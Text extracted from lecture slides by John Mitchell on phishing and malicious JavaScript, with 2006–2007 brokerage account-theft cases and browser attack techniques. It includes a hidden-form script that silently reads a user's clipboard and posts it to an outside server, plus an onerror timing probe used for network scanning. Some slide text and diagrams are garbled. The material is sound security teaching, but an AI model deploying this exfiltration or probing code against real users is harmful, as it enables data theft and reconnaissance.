Phishing and Malicious Javascript: John Mitchell
Phishing and Malicious Javascript: John Mitchell
Phishing and
Malicious JavaScript
John Mitchell
Outline
Phishing and online identity theft
Deception through web technology
Underground economy – what thieves are after
Mischief and deception
Accessing local state
Reading the clipboard (now mitigated)
Accessing browser history
Customizing display based on state
Chameleon pages (for good and evil)
Context-aware phishing
Probing the network
Port scanning, with and without JavaScript
Timing attacks on login pages
Communicating back to the server
Query parameters
Persistent bidirectional communication
Trends
Most prevalent attacts
(2006)
http://www-935.ibm.com/services/us/iss/xforce/midyearreport/xforce-midyear-
report-2008.pdf
Web security: two sides
Web browser: (client side)
Attacks target browser security
weaknesses
Result in:
Malware installation (keyloggers, bot-nets)
Document theft from corporate network
Loss of private data
passwor
Password d? User clicks on email
sent to bad link to www.ebuj.com.
guy
October 2006
E-Trade lost $18M in 3 months,
TD Ameritrade lost $4M
December 2006
Evgeny Gashichev, Estonia
SEC froze assets of his co., Grand Logistic, on Dec 19,
2006
Used 25 stolen accounts to manipulate US financial
markets
Made $353,609 in 6 weeks
January 2007
Aleksey Kamardin, 21, Florida
Used stolen accounts to pump up value of 17 penny
stocks
Etrade,
Slide: David Jevans Scottrade, TD Ameritrade, JPMorgan Chase, C.
Outline
Phishing and online identity theft
Deception through web technology
Underground economy – what thieves are after
Mischief and deception
Accessing local state
Reading the clipboard (now mitigated)
Accessing browser history
Customizing display based on state
Chameleon pages (for good and evil)
Context-aware phishing
Probing the network
Port scanning, with and without JavaScript
Timing attacks on login pages
Communicating back to the server
Query parameters
Persistent bidirectional communication
HTML Image Tags
<html>
…
<p> … </p>
…
<img src=“http://example.com/sunset.gif”
height="50" width="100">
…
</html>
This probably does not work in your current browser – try it!
Stealing clipboard contents
Create hidden form, enter clipboard text, post
form
<FORM name="hf" METHOD=POST ACTION=
"http://www.site.com/targetpage.php" style="display:none">
<INPUT TYPE="text" NAME="topicID">
<INPUT TYPE="submit">
</FORM>
<script language="javascript">
var content = clipboardData.getData("Text");
document.forms["hf"].elements["topicID"].value = content;
document.forms["hf"].submit();
</script>
User browsing history?
Malicious
2) “check this out”
Web page
scan
Firewall
Rendering and events
Events can be
User actions: OnClick, OnMouseover
Rendering: OnLoad, OnBeforeUnload
Timing: setTimeout(), clearTimeout()
JavaScript onError
Basic function
Triggered when error occurs loading a
document or an image
Example
<img src="image.gif"
onerror="alert('The image could not be loaded.')“
>
Runs onError handler if image does not exist and
cannot load
http://www.w3schools.com/jsref/jsref_onError.asp
JavaScript timing
Sample code
<html><body><img id="test" style="display: none">
<script>
var test = document.getElementById(’test’);
var start = new Date();
test.onerror = function() {
var end = new Date();
alert("Total time: " + (end - start));
}
test.src = "http://www.example.com/page.html";
</script>
</body></html>
See: http://developer.apple.com/internet/webcontent/iframe.html
Frame and iFrame
Window may contain frames from different
sources
Frame: rigid division as part of frameset
iFrame: floating inline frame
iFrame
<IFRAME example
SRC="hello.html" WIDTH=450 HEIGHT=100>
If you can see this, your browser doesn't understand IFRAME.
</IFRAME>